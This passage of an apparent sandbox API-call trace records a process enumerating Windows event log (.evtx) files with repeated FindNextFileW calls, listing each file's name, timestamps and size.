ftLastAccessTime.dwLowDateTime=0x505a2134, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Internet Explorer.evtx", cAlternateFileName="INTERN~1.EVT")) returned 1 [0135.916] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5057bed8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5057bed8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Key Management Service.evtx", cAlternateFileName="KEYMAN~1.EVT")) returned 1 [0135.916] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1dbd7c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1dbd7c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx", cAlternateFileName="MICROS~1.EVT")) returned 1 [0135.916] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5d836e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5d836e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", cAlternateFileName="MICROS~2.EVT")) returned 1 [0135.916] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9206ac5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9206ac5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9c0f529, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", cAlternateFileName="MICROS~3.EVT")) returned 1 [0135.917] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", cAlternateFileName="MICROS~4.EVT")) returned 1 [0135.917] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4169a7a, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4169a7a, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx", cAlternateFileName="MI2EEA~1.EVT")) returned 1 [0135.917] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", cAlternateFileName="MI07E1~1.EVT")) returned 1 [0135.917] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", cAlternateFileName="MI8196~1.EVT")) returned 1 [0135.917] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41b5f2d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd41b5f2d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", cAlternateFileName="MIE36C~1.EVT")) returned 1 [0135.917] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389efbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd389efbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx", cAlternateFileName="MIC5CB~1.EVT")) returned 1 [0135.917] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38c5212, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd38c5212, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppReadiness%4Operational.evtx", cAlternateFileName="MIF8AA~1.EVT")) returned 1 [0135.917] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppXDeployment%4Operational.evtx", cAlternateFileName="MI34FE~1.EVT")) returned 1 [0135.917] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x211000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", cAlternateFileName="MIA24C~1.EVT")) returned 1 [0135.917] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", cAlternateFileName="MIDBEC~1.EVT")) returned 1 [0135.918] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85798667, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x85798667, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppxPackaging%4Operational.evtx", cAlternateFileName="MI54F1~1.EVT")) returned 1 [0135.918] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74d25ab, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74d25ab, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", cAlternateFileName="MI111F~1.EVT")) returned 1 [0135.918] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f96ca4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe1f96ca4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Bits-Client%4Operational.evtx", cAlternateFileName="MI9465~1.EVT")) returned 1 [0135.918] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8783aa15, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8783aa15, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-CodeIntegrity%4Operational.evtx", cAlternateFileName="MI03A7~1.EVT")) returned 1 [0135.918] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3c71c5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3c71c5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", cAlternateFileName="MI5CA2~1.EVT")) returned 1 [0135.919] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", cAlternateFileName="MI5FD1~1.EVT")) returned 1 [0135.919] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", cAlternateFileName="MI8BDF~1.EVT")) returned 1 [0135.919] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3ed420, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3ed420, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", cAlternateFileName="MIAEBD~1.EVT")) returned 1 [0135.919] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", cAlternateFileName="MIA726~1.EVT")) returned 1 [0135.919] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", cAlternateFileName="MI08CB~1.EVT")) returned 1 [0135.919] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc967f17e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc967f17e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx", cAlternateFileName="MI8270~1.EVT")) returned 1 [0135.919] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96cb64b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc96cb64b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", cAlternateFileName="MIEBFF~1.EVT")) returned 1 [0135.919] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64aa7b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca64aa7b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", cAlternateFileName="MI9F85~1.EVT")) returned 1 [0135.919] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ec80, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xfd9ec80, ftLastAccessTime.dwHighDateTime=0x1d1a04f, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", cAlternateFileName="MIBE3D~1.EVT")) returned 1 [0135.920] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9658ef3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9658ef3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-GroupPolicy%4Operational.evtx", cAlternateFileName="MIE38D~1.EVT")) returned 1 [0135.920] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9dcc480, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9dcc480, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-HotspotAuth%4Operational.evtx", cAlternateFileName="MIE386~1.EVT")) returned 1 [0135.920] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b4bacf, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b4bacf, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", cAlternateFileName="MI6B25~1.EVT")) returned 1 [0135.920] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb66288f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-International%4Operational.evtx", cAlternateFileName="MI854A~1.EVT")) returned 1 [0135.920] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x506ad1ac, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x506ad1ac, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-Boot%4Operational.evtx", cAlternateFileName="MI32CE~1.EVT")) returned 1 [0135.920] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", cAlternateFileName="MIA934~1.EVT")) returned 1 [0135.920] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f8b0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5071f8b0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", cAlternateFileName="MIB32D~1.EVT")) returned 1 [0135.920] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ebf6d7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc8ebf6d7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", cAlternateFileName="MICA77~1.EVT")) returned 1 [0135.920] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5090f75d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5090f75d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", cAlternateFileName="MI1E8D~1.EVT")) returned 1 [0135.920] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd75102f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd75102f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", cAlternateFileName="MID067~1.EVT")) returned 1 [0136.099] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", cAlternateFileName="MIDE4D~1.EVT")) returned 1 [0136.099] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", cAlternateFileName="MI36C5~1.EVT")) returned 1 [0136.099] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59547c37, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x59547c37, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Known Folders API Service.evtx", cAlternateFileName="MI86D6~1.EVT")) returned 1 [0136.099] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb7386e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbb7386e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-LiveId%4Operational.evtx", cAlternateFileName="MI4C58~1.EVT")) returned 1 [0136.099] FindNextFileW (in: hFindFile=0x69b188, 